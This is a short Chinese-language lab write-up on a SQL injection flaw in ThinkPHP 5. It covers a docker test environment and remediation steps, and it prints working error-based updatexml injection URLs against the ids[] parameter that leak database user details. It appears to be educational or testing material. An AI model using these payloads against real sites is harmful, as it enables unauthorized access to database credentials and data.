5.24.1 SQL
漏洞名称
ThinkPHP5版本 SQL注入漏洞和敏感信息泄露漏洞
漏洞描述
ThinkPHP5版本存在一个鸡肋的SQL注入漏洞,可以获取到当前用户和密码以及数据库名等信息,详情参考:<https://www.leavesongs.com/PENETRATION/thinkphp5-in-sqlinjection.html>
漏洞等级
低危
漏洞危害
获取到数据库配置信息(用户名,密码,数据库名,主机名)
漏洞检测方法
利用POC去试验是否存在该漏洞
漏洞利用方法
启动docker环境:
docker-compose up -d
如果出现以下错误:
ERROR: Get https://registry-1.docker.io/v2/: net/http: request canceled while waiting for connection (Client.Timeout exceeded while awaiting headers)
那么需要去修改/etc/resolv.conf
修改为:
nameserver 8.8.8.8
nameserver 8.8.4.4
nameserver 10.0.0.10
访问以下URL进入网站,出现用户名表示成功访问:
http://Your-Ip/index.php?ids[]=1&ids[]=2

然后使用xpath报错的方法去构造POC,成功执行命令
请求的URL为:
http://192.168.136.128/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1
http://your-ip:8080/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1

漏洞修复方案:
1,及时去thinkphp官网修补漏洞
2,更新到最新版
Last updated
Was this helpful?